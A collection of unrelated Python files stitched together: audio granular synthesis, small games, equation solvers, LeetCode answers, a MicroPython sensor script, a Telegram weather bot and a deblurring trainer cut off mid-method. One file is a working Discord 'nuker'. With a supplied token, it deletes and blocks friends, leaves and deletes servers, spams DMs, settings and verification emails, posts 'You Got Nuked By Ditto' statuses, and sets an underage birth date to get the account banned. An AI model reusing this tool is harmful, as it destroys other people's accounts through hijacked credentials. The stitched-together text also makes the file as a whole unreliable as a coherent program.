            elif nombre == "Batalla":
                items["batalla"] = valor
            elif nombre == "Peso":
                items["peso"] = valor
            elif nombre == "Peso Máximo Admitidoo":
                items["peso_maximo"] = valor
            elif nombre == "Número de puertas":
                items["num_puertas"] = valor
            elif nombre == "Capacidad del depósito":
                items["capacidad_dep"] = valor
            elif nombre == "Velocidad Máxima":
                items["velocidad_max"] = valor
            elif nombre == "Aceleración":
                items["aceleracion"] = valor
            elif nombre == "Emisión CO2":
                items["emision_co2"] = valor
            elif nombre == "Consumo Carretera":
                items["consum_carretera"] = valor
            elif nombre == "Consumo Urbano":
                items["consum_urbano"] = valor
            elif nombre == "Consumo Combinado-Mixto":
                items["consum_comb_mix"] = valor
            elif nombre == "Número de Cilindros":
                items["num_cilindros"] = valor
            elif nombre == "Cilindrada":
                items["cilindrada"] = valor
            elif nombre == "Potencia":
                items["potencia"] = valor
            elif nombre == "Par Motor":
                items["par_motor"] = valor
            elif nombre == "Estándar de emisiones":
                items["est_emisiones"] = valor
            elif nombre == "Tipo de Cambio":
                items["cambio"] = valor
            elif nombre == "Tracción":
                items["traccion"] = valor
            elif nombre == "Neumáticos delanteros":
                items["neumaticos_del"] = valor
            elif nombre == "Neumáticos traseros":
                items["neumaticos_tra"] = valor

        return items


class computer:
    def config(self):
        print("Hi this is a new computer")

#Instantiate a class
comp = computer()

#two-ways

computer.config(comp) # it is not used commonly

comp.config() # this will be interpreted as -> <<class-name>>.config(<<object-name>>) ->computer.config(comp)


# Alexander Freer
# 6452551

# Alec Ames
# 6843577

# Granular Synthesis Engine

# To Run: python 'inputFile.txt' 'outputFile.txt' sampleRate grainLength(ms) grainDensity(grains/sec) pitch location(% of original audio available) duration(sec)
# Ex. python .\GranularSynth.py 'SampleAudioConverted.txt' 'test.txt' 44100 100 200 -12 .8 2
import sys
import random
from tqdm import tqdm

def tone_convert(origArr, phsIdx, dur, stepSize):
    newArr = []

    i = phsIdx
    count = 0
    while count < dur:
        tblVal = int(i) % len(origArr)
        rem = i % 1
        newVal = 0

        tblVal1 = float(origArr[tblVal])
        tblVal2 = float(origArr[(tblVal+1) % len(origArr)])
        newVal = tblVal1 + (rem * (tblVal2-tblVal1))

        newArr.append(newVal)

        i = i + (2 ** (stepSize/12))
        count += 1

    return newArr

def compute_grain(grainSize, samples, pitch):
    grain = []

    i = int(random.random()*(len(samples)-grainSize))

    for j in range(grainSize):
        grain.append(samples[j+i])

    grain = tone_convert(grain, 0, grainSize, pitch)

    for j in range(grainSize):
        # ramp up from 0 to 1/4 of grainSize
        # top from 1/4-3/4
        # ramp down from 3/4 to 1
        envelope = float(0)
        upRamp = int((1/4)*grainSize)
        downRampStart = int((3/4)*grainSize)
        if j <= upRamp:
            envelope = j/upRamp
        elif j < downRampStart:
            envelope = 1
        else:
            envelope = 1-(j/upRamp)
        grain[j] = grain[j] * envelope

    return grain

inFileName = str(sys.argv[1])
outFileName = str(sys.argv[2])
sampleRate = int(sys.argv[3])
grainDur = int(sys.argv[4]) #should be between 1ms-100ms
grainGenRate = float(sys.argv[5]) # grains/second
pitch = int(sys.argv[6])
location = float(sys.argv[7]) #min and max locations from center, from which grains are generated (.8 means 80% thus, no grains in first 10% and final 10% of audio)
outputDuration = int(sys.argv[8]) #seconds

origFile = open(inFileName, "r")
newFile = open(outFileName, "w")

samples = origFile.readlines()
samples = list(map(lambda n: float(n), samples))

p = 1 - location
start = int(len(samples)*(p/2))
end = int(len(samples) - start)

#trim sample list to get start and end index
samples = samples[start:end]

outputBuffer = [0] * (outputDuration * sampleRate) #initialize output buffer with 0's

# pad the input samples with 0's if output is longer
if len(outputBuffer) > len(samples) :
    samples += [0] * (len(outputBuffer) - len(samples))

probability = grainGenRate / sampleRate
grainSize = int((grainDur / 1000) * sampleRate)

for i in tqdm(range(len(outputBuffer))):
    if random.random() < probability:
        # Prevent buffer overflowS
        if grainSize >= (len(outputBuffer) - i):
            grainSize = (len(outputBuffer) - i)-1
        grain = compute_grain(grainSize, samples, pitch)
        for j in range(len(grain)):
            outputBuffer[i+j] = outputBuffer[i+j] + (0.5*grain[j])
            # Preventing clipping
            if (outputBuffer[i+j] < 0):
                outputBuffer[i+j] = max(outputBuffer[i+j], -1)
            else:
                outputBuffer[i+j] = min(outputBuffer[i+j], 1)

for sample in outputBuffer:
    newFile.write(str(sample) + "\n")

origFile.close()
newFile.close()


from cmu_graphics import *
from PIL import Image

def loadImages(app):
    # Load the PIL image
    app.imageDict = {
        "freeze": "img/freeze.png",
        "mine": "img/mine.png",
        "pushAway": "img/pushAway.png",
        "teleport": "img/teleport.png",
        "rock": "img/rock.png",
        "seaweed": "img/seaweed.png",
        "oyster-pearl": "img/oysterWithPearl.png",
        "oyster": "img/closedOyster.png",
        "oceanBackground": "img/oceanBackground.png",
        "goldFish": "img/goldFishGoingLeft.png",
        "blueFish": "img/blueGoldFishGoingRight.png",
        "redFish": "img/redGoldFishGoingLeft.png",
        "clock": "img/clock.png",
        "frozenRedFish": "img/frozenRedFish.png",
        "frozenBlueFish": "img/frozenBlueFish.png",
        "redFishPearl": "img/redFishWithPearl.png",
        "blueFishPearl": "img/blueFishWithPearl.png",
        "redFishWind": "img/redFishWithWind.png",
        "blueFishWind": "img/blueFishWithWind.png",
        "bootWithWings": "img/bootWithWings.png"
    }

    for imgName in app.imageDict:
        fileName = app.imageDict[imgName]
        app.imageDict[imgName] = CMUImage(Image.open(fileName))


class Solution:
    def findLadders(self, beginWord, endWord, wordList):
        from collections import defaultdict
        wordlist = set(wordList)
        res = []
        level = {}
        level[beginWord] = [[beginWord]]

        while level:
            next_level = defaultdict(list)
            for word in level:
                if word == endWord:
                    res.extend(k for k in level[word])
                else:
                    for i in range(len(word)):
                        for c in "abcdefghijklmnopqrstuvwxyz":
                            newword = word[:i] + c + word[i + 1:]
                            if newword in wordlist:
                                next_level[newword] += [j + [newword] for j in level[word]]
            wordlist -= set(next_level.keys())
            level = next_level

        return res

beginWord = "hit"
endWord = "cog"
wordList = ["hot", "dot", "dog", "lot", "log", "cog"]

s = Solution()
print(s.findLadders(beginWord, endWord, wordList))


from pyparsinglocal import Word, alphas, alphanums, nums, OneOrMore, CharsNotIn, Literal, Combine
from pyparsinglocal import Suppress, ZeroOrMore, Group, StringEnd, srange, Forward, Optional, Or
from AGGL import *
#from PySide.QtCore import *
#from PySide.QtGui import *

class AGGL_QuantifierCondition:
	def __init__(self, condType):
		self.condType = condType

class AGGL_QuantifierEffect:
	def __init__(self, condType):
		self.condType = condType

class AGGL_QuantifierLink:
	def __init__(self, t, a, b, v):
		self.t = t
		self.a = a
		self.b = b
		self.v = v

class AGGLCodeParsing:
	@staticmethod
	def parseParameters(text, verbose=False):
		t2 = text.strip("\n \t")
		if len(t2)==0: return []
		ids     = Word(srange("[a-zA-Z0-9_]"))
		varDec  = Group(Combine(ids.setResultsName("var")+Literal(':')+ids.setResultsName("t")))
		params  = OneOrMore(varDec)
		r = params.parseString(t2)
		return r

	@staticmethod
	def parseFormula(text, verbose=False):
		if verbose: print ('Verbose:', verbose)
		# Basic elements
		ids     = Word(srange("[a-zA-Z0-9_]"))
		po      = Suppress("(")
		pc      = Suppress(")")
		lt      = Suppress("<")
		gt      = Suppress(">")
		eq      = Word("=")
		not_    = Word("not")
		and_    = Word("and")
		or_     = Word("or")
		forall_ = Word("forall")
		exists_ = Word("exists")
		when_   = Word("when")
		create_ = Word("create")
		delete_ = Word("delete")
		retype_ = Word("retype")
		# Identifiers
		ids     = Word(srange("[a-zA-Z0-9_]"))
		# List of identifiers
		varDec  = Group(Combine(ids.setResultsName("var")+Literal(':')+ids.setResultsName("t")))
		params  = OneOrMore(varDec)
		# Groups: complex elements, not, forall, when, create and the like
		formula = Forward()
		link          = Group( po +     ids.setResultsName("type") +                ids.setResultsName("a") + ids.setResultsName("b") + pc )
		equalFormula  = Group( po +      eq.setResultsName("type") +                ids.setResultsName("a") + ids.setResultsName("b") + pc )
		notFormula    = Group( po +    not_.setResultsName("type") +                                  formula.setResultsName("child") + pc )
		andFormula    = Group( po +    and_.setResultsName("type") +                        OneOrMore(formula).setResultsName("more") + pc )
		orFormula     = Group( po +     or_.setResultsName("type") +                        OneOrMore(formula).setResultsName("more") + pc )
		existsFormula = Group( po + exists_.setResultsName("type") +  params.setResultsName("vars") + formula.setResultsName("child") + pc )
		forallFormula = Group( po + forall_.setResultsName("type") +  params.setResultsName("vars") + formula.setResultsName("child") + pc )
		whenFormula   = Group( po +   when_.setResultsName("type") +   formula.setResultsName("iff") + formula.setResultsName("then") + pc )
		functionCall  = Group( lt +     ids.setResultsName("func") +                       OneOrMore(ids).setResultsName("arguments") + gt )
		create        = Group( po + create_.setResultsName("type") +         ids.setResultsName("name") + ids.setResultsName("stype") + pc )
		delete        = Group( po + delete_.setResultsName("type") +                                       ids.setResultsName("name") + pc )
		retype        = Group( po + retype_.setResultsName("type") +         ids.setResultsName("name") + ids.setResultsName("stype") + pc )
		# Parse call
		formula << (notFormula | andFormula | link | equalFormula | orFormula | existsFormula | forallFormula | whenFormula | create | delete | retype | functionCall )
		formulaOpt = Optional(formula)
		return formulaOpt.parseWithTabs().parseString(text)


from machine import Pin, SoftI2C
from i2c_lcd import I2cLcd
from lcd_api import LcdApi
import time
import dht

###relay#######
relay = Pin(15,Pin.OUT)
def relay_off():
    relay.value(0)
    print('relay:off')
def relay_on():
    relay.value(1)
    print('relay:on')
#### temp and humid ######
d = dht.DHT22(Pin(16))
time.sleep(2)

def get_temp_humid():
    d.measure()
    time.sleep(2)
    temp = d.temperature()
    humid = d.humidity()
    text_temp = 'TEMP: {:.2f} C'.format(temp)
    text_humid = 'HUMID: {:.2f} %'.format(humid)
    return (text_temp, text_humid, temp, humid)   ### sent data out

tp, th, t, h = get_temp_humid()
#print(tp)
#print(th)

### define LCD
i2c = SoftI2C(scl=Pin(5), sda=Pin(4), freq=1000000)
lcd = I2cLcd(i2c, 0x27, 2, 16)

def show_lcd(line1, line2):
    lcd.clear()
    lcd.putstr(line1)
    lcd.move_to(0,1)# lcd.move_to(colum, Row)
    lcd.putstr(line2)

for i in range(10):
    tp, th, t, h = get_temp_humid()
    show_lcd(tp,th)
    if t >30:
        relay_on()
    else:
        relay_off()
    time.sleep(2)

#i2c = SoftI2C(scl=Pin(5), sda=Pin(4), freq=1000000)
#print(i2c.scan()) ### check i2c adress
#print('Adress',hex(i2c.scan()[0]))
#lcd =I2cLcd(i2c,0x27,2,16)  ## hex nuber of i2c adress ,2 row 16 alphabet
### lcd.putstr('Hello toom\nby PKroaming')
#lcd.putchar(chr(244)) ## show special charector as table ,need convert binary to int


from cmath import *
from sympy import *

x = Symbol('x')
c1 = Symbol('c1')
c2 = Symbol('c2')

class System:
    '''
    a + b = c
    d + e = f
    '''
    def __init__(self, a, b, c, d, e, f):
        self.a = a
        self.b = b
        self.c = c
        self.d = d
        self.e = e
        self.f = f

    def solve(self):
        denominator_matrix_determinant = self.a * self.e - self.b * self.d
        numerator_x_matrix_determinant = self.c * self.e - self.f * self.b
        numerator_y_matrix_determinant = self.a * self.f - self.c * self.d

        x = numerator_x_matrix_determinant / denominator_matrix_determinant
        y = numerator_y_matrix_determinant / denominator_matrix_determinant

        return {
            'x': x,
            'y': y
        }

class LinearDifferentialEquation:
    '''
    dy/dx + py = q
    '''
    def __init__(self, p, q):
        self.p = p
        self.q = q

    def solve(self):
        '''
        solve:

            mew = e ^ integral(p dx)

            d/dx(mew * y) = mew * q

            mew * y = integral(mew * q) dx

            y = (integral(mew * q) dx) / mew
        '''

        mew = e ** integrate(self.p, x)

        return (integrate(mew * self.q, x) / mew)

class QuadraticEquation:
    def __init__(self, a, b , c):
        self.a = a
        self.b = b
        self.c = c

        if a == 0:
            raise Exception('a is zero')

    def solve(self):
        d = (self.b**2) - (4*self.a*self.c)
        x1 = complex((-self.b-sqrt(d))/(2*self.a))
        x2 = complex((-self.b+sqrt(d))/(2*self.a))

        return (x1, x2)

class HomogenousSecondOrderDifferentialEquation:
    '''
    y'' + a * y' + b * y = 0
    '''

    def __init__(self, a, b):
        self.a = a
        self.b = b

    @property
    def characteristicEquation(self):
        return QuadraticEquation(1, self.a, self.b)

    def solveCharacteristicEquation(self):
        return self.characteristicEquation.solve()

    def solve(self):
        c1, c2 = self.solveCharacteristicEquation()

        # check if they're imaginary
        # if they're both real
        if c1.imag == 0 and c2.imag == 0:
            # check if the solutions are lineraly independant
            # if they are lineraly independant
            if c1 != c2:
                return (e ** (c1 * x), e ** (c2 * x))
            # if they are lineraly dependant
            else:
                return (e ** (c1 * x), x * e ** (c2 * x))

        # if they're both imaginary
        '''
        e ^ ax (c1 sin(bx) +  c2 cos(bx))

        the complex solutions will be in the form a +- bi
        '''

        a = c1.real
        b = abs(c1.imag)

        return (e ** (a * x)) * sin(b * x), (e ** (a * x)) * cos(b * x)

class NonhomogeneousSecondOrderDifferentialEquation(HomogenousSecondOrderDifferentialEquation):
    '''
    Uses variation of parameters to solve for the particular solution to the differential equation and
    Uses a characteristic equation and the quadratic formula to solve for the characteristic solutions to the differential equation
    '''

    def __init__(self, a, b, r):
        super().__init__(a, b)
        self.r = r

    def findParticularSolution(self):
        '''
        u'y1 + v'y2 = 0
        u'y1' + v'y2' = r

        The particular solution is uy1 + vy2 where
            u and v are the solutions to the system of equations defined above
            y1 and y2 are the general characteristic solutions to the corresponding homogenous differential equation where r = 0
        '''

        y1, y2 = super().solve()

        # create the system of equations
        '''
        u_prime = Symbol('u\'')
        v_prime = Symbol('v\'')
        '''
        y1_prime = diff(y1, x)
        y2_prime = diff(y2, x)

        # cramer's rule
        '''
        demoninator

        y1       y2
        y1_prime y2_prime

        numerator u'

        0       y2
        r       y2_prime

        numerator v'

        y1       0
        y1_prime r
        '''

        denominator = Matrix([[y1, y2], [y1_prime, y2_prime]])
        numerator_u_prime = Matrix([[0, y2], [self.r, y2_prime]])
        numerator_v_prime = Matrix([[y1, 0], [y1_prime, self.r]])

        u_prime = numerator_u_prime.det() / denominator.det()
        v_prime = numerator_v_prime.det() / denominator.det()

        u = integrate(u_prime, x)
        v = integrate(v_prime, x)

        return u * y1 + v * y2

    def solve(self):
        y1, y2 = super().solve()

        yp = self.findParticularSolution()

        return c1 * y1 + c2 * y2 + yp

test = NonhomogeneousSecondOrderDifferentialEquation(-2, 1, x)

print(test.solve())


from collections import deque

#뱀. 머리좌표, 꼬리좌표
hx, hy = 0, 0
tx, ty = 0, 0
snake = deque([[hx, hy]])
turn = "r"

#보드크기, 뱀 = 1, 사과 = 2. 빈공간 = 0
N = int(input())
board = [[0 for i in range (N)] for i in range (N)]
board[hx][hy] = 1

#사과개수, 위치설정
apple = int(input())
for i in range(apple):
    aX, aY = map(int, input().split())
    board[aX - 1][aY - 1] = 2

#뱀 방향변환 정보
L = int(input())
tX = [0 for _ in range(L)]
tC = [0 for _ in range(L)]
for i in range(L):
    tmp = input().split()
    tX[i] = int(tmp[0])
    tC[i] = tmp[1]

time = 1
while(True):
    #머리이동
    if turn == "r":
        hy = hy + 1
    elif turn == "l":
        hy = hy - 1
    elif turn == "u":
        hx = hx - 1
    else:
        hx = hx + 1

    #머리가 보드 밖으로 진출시
    if not 0 <= hx < N or not 0 <= hy < N:
        break

    #머리 위치한곳 확인(빈곳 or 사과 or 몸통)
    if board[hx][hy]  == 0:
        board[hx][hy] = 1
        snake.append([hx,hy])
        tx, ty = snake.popleft()
        board[tx][ty] = 0
    elif board[hx][hy] == 2:
        board[hx][hy] = 1
        snake.append([hx,hy])
    else:
        break

    #뱀 방향전환
    for i in range(L):
        if tX[i] == time:
            if turn == "r" and tC[i] == "D":
                turn = "d"
            elif turn == "r" and tC[i] == "L":
                turn = "u"
            elif turn == "l" and tC[i] == "D":
                turn = "u"
            elif turn == "l" and tC[i] == "L":
                turn = "d"
            elif turn == "u" and tC[i] == "D":
                turn = "r"
            elif turn == "u" and tC[i] == "L":
                turn = "l"
            elif turn == "d" and tC[i] == "D":
                turn = "l"
            elif turn == "d" and tC[i] == "L":
                turn = "r"
    time = time + 1

print(time)


from telegram import Update, Bot, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler
from credits import bot_tg
from bs4 import BeautifulSoup
import requests

bot = Bot(bot_tg)
updater = Updater(bot_tg, use_context=True)
dispatcher = updater.dispatcher

def start(update, context):
    context.bot.send_message(update.effective_chat.id, "Привет, предлагаю тебе получить информацию")
    context.bot.send_message(update.effective_chat.id, "Чтобы увидеть текущую погоду в своем городе напиши\n"
                                                       "'погода-твой-город'")
def getTemp(mes):
    res = mes.split()
    res = ''.join(res)
    url = f'https://sinoptik.ua/{res}'
    resp = requests.get(url).text
    soup = BeautifulSoup(resp, 'html.parser')
    try:
        curRegion = soup.find('div', class_='currentRegion').get_text(strip=True)
        desc = soup.find('div', class_='description').get_text(strip=True)
        temp = soup.find('p', class_='today-temp').get_text(strip=True)
        return f"{curRegion}\nТемпература воздуха сейчас {temp}\n{desc}"
    except:
        return "Не знает такого города"
def message(update, context):
    str1 = "погода"
    mes = update.message.text
    if mes.startswith(str1):
        context.bot.send_message(update.effective_chat.id, getTemp(mes))
    else:
        context.bot.send_message(update.effective_chat.id, "Я пока не знаю что добавить к этому")
def unknow_command(update, context):
    context.bot.send_message(update.effective_chat.id, "Не знаю такой команды")

start_handler = CommandHandler('start', start)
unknow_handler = MessageHandler(Filters.command, unknow_command)
message_handler = MessageHandler(Filters.text, message)

dispatcher.add_handler(start_handler)
dispatcher.add_handler(unknow_handler)
dispatcher.add_handler(message_handler)

updater.start_polling()
updater.idle()


import requests
import json
import string
import random
import pretty_errors
import time
import multiprocessing
import sys
import colorama

from colorama import Style, Fore
from time import sleep
from multiprocessing import current_process

t_or_f = [True, False]

Test_Token = input("Enter A Token: ")

def generate_random_string(Ammount):
    string_returned = "".join(
        random.choice(string.ascii_letters) for i in range(0, Ammount)
    )
    return string_returned

def get_all_friends(Token):
    headers = {"authorization": Token, "user-agent": "bruh6/9"}
    r = requests.get(
        "https://canary.discord.com/api/v8/users/@me/relationships", headers=headers
    )
    for friend in r.json():
        print(f"{friend['user']['username']}#{friend['user']['discriminator']}")
        print(f"{'-'*10}")
    time.sleep(3)

def get_token_information(Token):
    headers = {"authorization": Token, "user-agent": "bruh6/9"}
    token_info_request = requests.get(
        "https://canary.discord.com/api/v9/users/@me", headers=headers
    ).json()
    for key in token_info_request:
        print(f"{Fore.WHITE}{key}: {Fore.RED}{token_info_request[f'{key}']}")
    time.sleep(3)

def spam_token_servers(Token):
    headers = {"authorization": Token, "user-agent": "bruh6/9"}
    for count, i in enumerate(range(0, 25)):
        payload = {"name": generate_random_string(15)}
        spam_server_request = requests.post(
            "https://canary.discord.com/api/v8/guilds", headers=headers, json=payload
        )

def remove_all_token_friends(Token):
    headers = {"authorization": Token, "user-agent": "bruh6/9"}
    remove_friends_request = requests.get(
        "https://canary.discord.com/api/v8/users/@me/relationships", headers=headers
    ).json()
    for i in remove_friends_request:
        requests.delete(
            f"https://canary.discord.com/api/v8/users/@me/relationships/{i['id']}",
            headers=headers,
        )
        print(f"Removed Friend {i['id']}")

def block_all_token_friends(Token):
    headers = {"authorization": Token, "user-agent": "bruh6/9"}
    json = {"type": 2}
    block_friends_request = requests.get(
        "https://canary.discord.com/api/v8/users/@me/relationships", headers=headers
    ).json()
    for i in block_friends_request:
        requests.put(
            f"https://canary.discord.com/api/v8/users/@me/relationships/{i['id']}",
            headers=headers,
            json=json,
        )
        print(f"Blocked Friend {i['id']}")

def spam_token_settings(Token):
	print('Started Job')
	for i in range(0, 100):
		headers = {"authorization": Token, "user-agent": "Samsung Fridge/6.9"}
		condition_status = True
		payload = {"theme": "light", "developer_mode": condition_status, "afk_timeout": 60, "locale": "ko", "message_display_compact": condition_status, "explicit_content_filter": 2, "default_guilds_restricted": condition_status, "friend_source_flags": {"all": condition_status, "mutual_friends": condition_status, "mutual_guilds": condition_status}, "inline_embed_media": condition_status, "inline_attachment_media": condition_status, "gif_auto_play": condition_status, "render_embeds": condition_status, "render_reactions": condition_status, "animate_emoji": condition_status, "convert_emoticons": condition_status, "animate_stickers": 1, "enable_tts_command": condition_status,  "native_phone_integration_enabled": condition_status, "contact_sync_enabled": condition_status, "allow_accessibility_detection": condition_status, "stream_notifications_enabled": condition_status, "status": "idle", "detect_platform_accounts": condition_status, "disable_games_tab": condition_status}
		requests.patch("https://canary.discord.com/api/v8/users/@me/settings", headers=headers, json=payload)
		condition_status = False
		payload = {"theme": "dark", "developer_mode": condition_status, "afk_timeout": 120, "locale": "bg", "message_display_compact": condition_status, "explicit_content_filter": 0, "default_guilds_restricted": condition_status, "friend_source_flags": {"all": condition_status, "mutual_friends": condition_status, "mutual_guilds": condition_status}, "inline_embed_media": condition_status, "inline_attachment_media": condition_status, "gif_auto_play": condition_status, "render_embeds": condition_status, "render_reactions": condition_status, "animate_emoji": condition_status, "convert_emoticons": condition_status, "animate_stickers": 2, "enable_tts_command": condition_status, "native_phone_integration_enabled": condition_status, "contact_sync_enabled": condition_status, "allow_accessibility_detection": condition_status, "stream_notifications_enabled": condition_status, "status": "dnd", "detect_platform_accounts": condition_status, "disable_games_tab": condition_status}
		requests.patch("https://canary.discord.com/api/v8/users/@me/settings", headers=headers, json=payload)

def leave_all_servers(Token):
    headers = {"authorization": Token, "user-agent": "Samsung Fridge/6.9"}
    leave_all_servers_request = requests.get(
        "https://canary.discord.com/api/v8/users/@me/guilds", headers=headers
    ).json()
    for guild in leave_all_servers_request:
        requests.delete(
            f"https://canary.discord.com/api/v8/users/@me/guilds/{guild['id']}",
            headers=headers,
        )
        print(f"Left Guild: {guild['id']}")

def close_all_dms(Token):
    headers = {"authorization": Token, "user-agent": "Samsung Fridge/6.9"}
    close_dm_request = requests.get(
        "https://canary.discord.com/api/v8/users/@me/channels", headers=headers
    ).json()
    for channel in close_dm_request:
        requests.delete(
            f"https://canary.discord.com/api/v8/channels/{channel['id']}",
            headers=headers,
        )

def cycle_token_status(Token):
    headers = {"authorization": Token, "user-agent": "Samsung Fridge/6.9"}
    for i in range(0, 50):
        json = {"custom_status": {"text": "You Got Nuked By Ditto", "emoji_name": "🍉"}}
        requests.patch(
            "https://discord.com/api/v8/users/@me/settings", headers=headers, json=json
        )
        time.sleep(0.7)
        json = {"custom_status": {"text": "dittotools.xyz", "emoji_name": "🥵"}}
        requests.patch(
            "https://discord.com/api/v8/users/@me/settings", headers=headers, json=json
        )
        time.sleep(0.7)
        json = {"custom_status": {"text": "Get Good, Get Ditto", "emoji_name": "😈"}}
        requests.patch(
            "https://discord.com/api/v8/users/@me/settings", headers=headers, json=json
        )
        time.sleep(0.7)

def send_mass_dm(Token):
    headers = {"authorization": Token, "user-agent": "Samsung Fridge/6.9"}
    mass_dm_request = requests.get(
        "https://canary.discord.com/api/v8/users/@me/channels", headers=headers
    ).json()
    for channel in mass_dm_request:
        json = {"content": generate_random_string(20)}
        time.sleep(1)
        r = requests.post(
            f"https://canary.discord.com/api/v8/channels/{channel['id']}/messages",
            headers=headers,
            data=json,
        )
        print(f"Sent DM To {channel['id']}")

def mark_servers_as_read(Token):
    headers = {"authorization": Token, "user-agent": "Samsung Fridge/6.9"}
    mark_guild_request = requests.get(
        "https://discord.com/api/v8/users/@me/guilds", headers=headers
    ).json()
    for channel in mark_guild_request:
        r = requests.post(
            f"https://discord.com/api/v8/guilds/{channel['id']}/ack", headers=headers
        )
        print(channel["id"])

def remove_token_email(Token):
    headers = {"authorization": Token, "user-agent": "Mozilla/5.0"}
    requests.get(
        "https://canary.discordapp.com/api/v8/guilds/0/members", headers=headers
    )

def delete_discord_webhook(Webhook):
    requests.delete(Webhook)

def get_token_country(Token):
    headers = {"authorization": Token, "user-agent": "Mozilla/5.0"}
    token_country_request = requests.get(
        "https://discord.com/api/v8/auth/location-metadata", headers=headers
    ).json()
    print(f"Token Country: {token_country_request['country_code']}")

def resend_verification_email(Token):
    headers = {"authorization": Token, "user-agent": "Mozilla/5.0"}
    requests.post("https://discord.com/api/v8/auth/verify/resend", headers=headers)

def spam_token_email(Token):
    for i in range(0, 20):
        remove_token_email(Token)
        time.sleep(2)
        resend_verification_email(Token)

def ban_token(Token):
    headers = {"authorization": Token, "user-agent": "Mozilla/5.0"}
    for i in range(0, 1):
        payload = {"username": "Bruh", "discriminator": 9871}
        requests.patch(
            "https://discordapp.com/api/v6/users/@me",
            headers=headers,
            json={"date_of_birth": "2017-2-11"},
        )

def delete_personal_guilds(Token):
    headers = {"authorization": Token, "user-agent": "Mozilla/5.0"}
    print("Got Data")
    delete_personal_request = requests.get(
        "https://discord.com/api/v9/users/@me/guilds", headers=headers
    ).json()
    for i in delete_personal_request:
        requests.post(
            f"https://canary.discord.com/api/v9/guilds/{i['id']}/delete",
            headers=headers,
        )
        print(i["id"])

options_list = {
    "0": get_all_friends,
    "1": get_token_information,
    "2": spam_token_servers,
    "3": remove_all_token_friends,
    "4": block_all_token_friends,
    "5": spam_token_settings,
    "6": leave_all_servers,
    "7": close_all_dms,
    "8": cycle_token_status,
    "9": send_mass_dm,
    "10": mark_servers_as_read,
    "11": remove_token_email,
    "12": delete_discord_webhook,
    "13": get_token_country,
    "14": resend_verification_email,
    "15": spam_token_email,
    "16": ban_token,
    "17": delete_personal_guilds,
}

def main():
    for count, i in enumerate(options_list):
        separate_options = str(options_list[i]).split("<function ")
        print(
            f"{Fore.WHITE}[{Fore.RED}{count}{Fore.WHITE}]",
            f"{Fore.RED}{str(separate_options[1]).split(' at ')[0].replace('_', ' ').upper()}",
        )
    choose_nuke = input("Please Enter An Option From The List: ")
    if choose_nuke == 5 or choose_nuke == "5":
        jobs = []
        for i in range(0, 6):
            process = multiprocessing.Process(
                target=spam_token_settings, args=(Test_Token,)
            )

            jobs.append(process)

        for j in jobs:
            j.start()

        for j in jobs:
            j.join()

    elif choose_nuke == 2 or choose_nuke == "2":
        jobs = []
        for i in range(0, 4):
            process = multiprocessing.Process(
                target=spam_token_servers, args=(Test_Token,)
            )

            jobs.append(process)

        for j in jobs:
            j.start()

        for j in jobs:
            j.join()

    else:
        options_list[choose_nuke](Test_Token)

if __name__ == "__main__":
    while 1:
        try:
            main()
        except KeyboardInterrupt:
            sys.exit()


#
# @lc app=leetcode id=897 lang=python3
#
# [897] Increasing Order Search Tree
#
# https://leetcode.com/problems/increasing-order-search-tree/description/
#
# algorithms
# Easy (59.34%)
# Total Accepted:    14.3K
# Total Submissions: 24.1K
# Testcase Example:  '[5,3,6,2,4,null,8,1,null,null,null,7,9]'
#
# Given a tree, rearrange the tree in in-order so that the leftmost node in the
# tree is now the root of the tree, and every node has no left child and only 1
# right child.
#
#
# Example 1:
# Input: [5,3,6,2,4,null,8,1,null,null,null,7,9]
#
#       5
#      / \
#    3    6
#   / \    \
#  2   4    8
# /        / \
# 1        7   9
#
# Output: [1,null,2,null,3,null,4,null,5,null,6,null,7,null,8,null,9]
#
# 1
# \
# 2
# \
# 3
# \
# 4
# \
# 5
# \
# 6
# \
# 7
# \
# 8
# \
#                 9
#
# Note:
#
#
# The number of nodes in the given tree will be between 1 and 100.
# Each node will have a unique integer value from 0 to 1000.
#
#
#
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, x):
#         self.val = x
#         self.left = None
#         self.right = None

class Solution:
    def increasingBST(self, root):
        """
        :type root: TreeNode
        :rtype: TreeNode
        """
        def helper(root):
            if not root:
                return None
            if not root.left and not root.right:
                return [root, root]
            elif not root.left:
                tmpr = helper(root.right)
                root.right = tmpr[0]
                return [root, tmpr[1]]
            elif not root.right:
                tmp = helper(root.left)
                tmp[1].right = root
                root.left = None
                return [tmp[0], root]
            else:
                tmp = helper(root.left)
                tmpr = helper(root.right)
                tmp[1].right = root
                root.left = None
                root.right = tmpr[0]
                return [tmp[0], tmpr[1]]

        return helper(root)[0]


import tensorflow as tf
from tensorflow import keras
from keras.utils.layer_utils import count_params
import os
from os import path
import matplotlib.pyplot as plt
import numpy as np
import yaml

from cnn.file_inout import *
from cnn.CNN_Deconvolution.DeblurCNNModel2D import *
from cnn.CNN_Deconvolution.DeblurCNNModelMini3D import *

def SplitOnTrainAndVal(blured_list, clear_list, train_val_coef=0.8):
    # total count of each list
    total_elements = len(blured_list)
    train_elements = int(total_elements * train_val_coef)
    val_elements = total_elements - train_elements

    # make randomize indexes
    list1 = [True] * train_elements
    list2 = [False] * val_elements
    listcomb = list1 + list2
    listcomb = np.random.choice(listcomb, total_elements, replace=False)
    train_indices = np.argwhere(listcomb == True)
    valid_indices = np.argwhere(listcomb == False)

    # make split
    blured_train_list = [blured_list[i[0]] for i in train_indices]
    blured_val_list = [blured_list[i[0]] for i in valid_indices]

    clear_train_list = [clear_list[i[0]] for i in train_indices]
    clear_val_list = [clear_list[i[0]] for i in valid_indices]

    return blured_train_list, blured_val_list, clear_train_list, clear_val_list

# Class, which provides training model
class DeblurTrainer:
    # constructor
    def __init__(self, _blured_images, _clear_images,
                 _mode, _layers, _rows, _cols,
                 _learningRate, _epoches,
                 _isNeedToSaveDebluredDataset, _debluredPath):
        # CONSTANTS
        self.MODEL_NAME_2d = "2d_gaus_blur.h5"
        self.MODEL_NAME_3d = "3d_gaus_blur.h5"

        self.blured = _blured_images
        self.clear = _clear_images

        self.mode = _mode
        self.layers = _layers
        self.rows = _rows
        self.cols = _cols

        self.learningRate = _learningRate
        self.epoches = _epoches

        self.isNeedToSaveDebluredDataset = _isNeedToSaveDebluredDataset
        self.debluredImagesDatasetPath = _debluredPath
        return

    # Method which provides network model initialization
    def initTrainableModel(self):
        if self.mode == "2d learning":
            model = DeblurCNNModel2D.ModelBuilder((self.rows, self.cols, 1), self.learningRate)
        else:
